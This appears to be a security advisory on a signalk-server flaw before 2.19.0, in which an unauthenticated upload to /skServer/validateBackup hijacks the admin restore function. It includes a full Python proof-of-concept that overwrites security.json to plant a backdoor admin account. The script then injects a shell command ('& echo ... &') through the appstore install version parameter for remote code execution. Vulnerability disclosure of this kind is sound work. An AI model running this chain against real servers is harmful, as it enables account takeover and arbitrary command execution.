| Package | Affected versions | Patched versions |
|---|---|---|
| signal k server | < 2.19.0 | 2.19.0 |
| signalk-server | < 2.19.0 | 2.19.0 |
An unauthenticated attacker can pollute the internal state (restoreFilePath) of the server via the /skServer/validateBackup endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., security.json, package.json), leading to account takeover and Remote Code Execution (RCE).
The vulnerability is caused by the use of a module-level global variable restoreFilePath in src/serverroutes.ts, which is shared across all requests.
Vulnerable Code Analysis:
restoreFilePath is defined at the top level of the module.
// src/serverroutes.ts
let restoreFilePath: string
/skServer/validateBackup endpoint updates this variable. Crucially, this endpoint lacks authentication middleware, allowing any user to access it.
app.post(`${SERVERROUTESPREFIX}/validateBackup`, (req, res) => {
// ... handles file upload ...
restoreFilePath = fs.mkdtempSync(...) // Attacker controls this path
})
/skServer/restore endpoint uses the polluted restoreFilePath to perform the restoration.
app.post(`${SERVERROUTESPREFIX}/restore`, (req, res) => {
// ...
const unzipStream = unzipper.Extract({ path: restoreFilePath }) // Uses polluted path
// ...
})
Exploit Chain:
/validateBackup. The server saves it and updates restoreFilePath to point to this malicious file./restore is triggered (either by the attacker if they have access, or by a legitimate admin), the server restores the attacker's malicious files.security.json to add a new administrator account./skServer/appstore/install/...) to execute arbitrary system commands (e.g., injection).Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freenpm installHere is a complete Python script to reproduce the full exploit chain.
import requests
import zipfile
import io
import json
import time
# Configuration
TARGET_URL = "http://localhost:3000"
BACKDOOR_USER = "hacker"
BACKDOOR_PASS = "hacked1234"
def step1_plant_backdoor():
print("[*] Step 1: Planting Backdoor via State Pollution...")
# 1. Create malicious zip with security.json
zip_buffer = io.BytesIO()
with zipfile.ZipFile(zip_buffer, 'w') as z:
# Add backdoor admin user
security_config = {
"users": [{
"username": BACKDOOR_USER,
"password": BACKDOOR_PASS,
"permissions": "admin"
}]
}
z.writestr("security.json", json.dumps(security_config))
# Enable security to make the backdoor effective
z.writestr("settings.json", json.dumps({"security": {"strategy": "./tokensecurity"}}))
zip_buffer.seek(0)
# 2. Pollute State (Unauthenticated)
print(" [+] Sending malicious backup to /validateBackup...")
res = requests.post(f"{TARGET_URL}/skServer/validateBackup",
files={'file': ('malicious.zip', zip_buffer, 'application/zip')})
if res.status_code != 200:
print(" [-] Failed to pollute state.")
return False
# 3. Trigger Restore (Hijacking)
print(" [+] Triggering restore to overwrite server config...")
# Note: In a real attack, if /restore is protected, attacker waits for admin to use it.
# Here we assume we can trigger it or security is currently off.
res = requests.post(f"{TARGET_URL}/skServer/restore", json={"security.json": True, "settings.json": True})
if res.status_code in [200, 202]:
print(" [+] Restore triggered successfully. Backdoor planted.")
print(" [!] PLEASE RESTART THE SERVER to load the new configuration.")
return True
else:
print(f" [-] Restore failed: {res.status_code} {res.text}")
return False
def step2_execute_rce():
print("\n[*] Step 2: Executing RCE as Backdoor User...")
# 1. Login
session = requests.Session()
login_payload = {"username": BACKDOOR_USER, "password": BACKDOOR_PASS}
res = session.post(f"{TARGET_URL}/signalk/v1/auth/login", json=login_payload)
if res.status_code != 200:
print(" [-] Login failed. Did you restart the server?")
return
token = res.json()['token']
print(" [+] Login successful. Authenticated as Admin.")
# 2. RCE Payload (Windows Example)
# Injecting command into version parameter of npm install
# Command: echo RCE_SUCCESS > rce_proof.txt
cmd_payload = "1.0.0 & echo RCE_SUCCESS > rce_proof.txt &"
# We need a valid package name to bypass existence check
package_name = "@signalk/freeboard-sk"
print(f" [+] Sending RCE payload: {cmd_payload}")
headers = {'Authorization': f'Bearer {token}'}
try:
session.post(f"{TARGET_URL}/skServer/appstore/install/{package_name}/{cmd_payload}",
headers=headers, timeout=5)
except:
pass # Timeout is expected as the command might hang or take time
print(" [+] Payload sent. Check for 'rce_proof.txt' in server root.")
if __name__ == "__main__":
# Run Step 1, then restart server manually, then Run Step 2
# step1_plant_backdoor()
step2_execute_rce()
Remote Code Execution (RCE), Account Takeover, Denial of Service.
Verified: RCE is demonstrated by creating a file named rce_proof.txt containing the text "RCE_SUCCESS" on the server filesystem using the exploit chain.